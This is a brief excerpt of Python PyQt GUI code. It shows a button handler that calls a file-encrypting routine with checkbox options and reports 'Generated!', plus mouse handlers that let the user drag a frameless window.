405 | self.cryptfile(self.filename,self.checkBox_2.isChecked(),self.checkBox_3.isChecked(),self.checkBox_4.isChecked(),self.checkBox_net.isChecked())
406 | self.label_2.setText("Generated!")
407 | self.label_2.setGeometry(QtCore.QRect(50, 118, 175, 16))
408 |
409 | def mousePressEvent(self, event):
410 | self.oldPos = event.globalPos()
411 |
412 | def mouseMoveEvent(self, event):
413 | delta = QPoint (event.globalPos() - self.oldPos)
414 | self.move(self.x() + delta.x(), self.y() + delta.y())
415 | self.oldPos = event.globalPos()
--------------------------------------------------------------------------------